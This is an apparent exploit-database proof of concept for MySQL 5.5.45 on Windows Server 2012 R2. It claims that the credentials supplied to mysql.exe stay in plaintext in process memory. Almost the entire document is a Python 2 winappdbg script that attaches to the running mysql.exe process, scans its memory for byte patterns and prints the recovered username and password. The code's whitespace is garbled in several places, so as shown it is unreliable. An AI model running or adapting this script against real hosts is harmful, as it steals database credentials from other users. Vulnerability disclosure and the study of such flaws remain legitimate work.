###### MySQL 5.5.45 (64bit) Local Credentials Disclosure# Tested on Windows Windows Server 2012 R2 64bit, English# Vendor Homepage @ https://www.mysql.com# Date 05/09/2016# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)## http://www.black-rose.ml## Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)###### MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.# A potential attacker could reveal the supplied username and password in order to gain access to the database.# Proof-Of-Concept Code:#####import time
from winappdbg import Debug, Process
defb2h(str):return''.join(["%02X "%ord(x)for x instr]).strip()defh2b(str):bytes=[]str=''.join(str.split(" "))for i inrange(0,len(str),2):bytes.append(chr(int(str[i:i+2],16)))return''.join(bytes)
usr =''
pwd =''
count =0
filename ="mysql.exe"
process_pid =0
memory_dump =[]
passwd =[]
debug = Debug()try:print"[~] Searching for pid by process name '%s'.."%(filename)
time.sleep(1)
debug.system.scan_processes()for(process, process_name)in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()if process_pid isnot0:print"[+] Found process pid #%d"%(process_pid)
time.sleep(1)print"[~] Trying to read memory for pid #%d"%(process_pid)
process = Process(process_pid)for address in process.search_bytes('\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00'):
memory_dump.append(process.read(address,30))for i inrange(len(memory_dump)):str= b2h(memory_dump[i])
first =str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1]
last = first.split(" 00 2D 70")if last[0]:
usr = h2b(last[0])
memory_dump =[]for address in process.search_bytes('\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'):
memory_dump.append(process.read(address,100))sorted(set(memory_dump))for i inrange(len(memory_dump)):str= b2h(memory_dump[i])
string =str.split('00 8F')for x inrange(len(string)):if x ==1:
passwd = string
try:
pwd = h2b(passwd[1].split('00 00')[0])except:passprint"[~] Trying to extract credentials from memory.."
time.sleep(1)if usr !=''and pwd !='':print"[+] Credentials found!\r\n----------------------------------------"print"[+] Username: %s"% usr
print"[+] Password: %s"% pwd
else:print"[-] Credentials not found!"else:print"[-] No process found with name '%s'"%(filename)
debug.loop()finally:
debug.stop()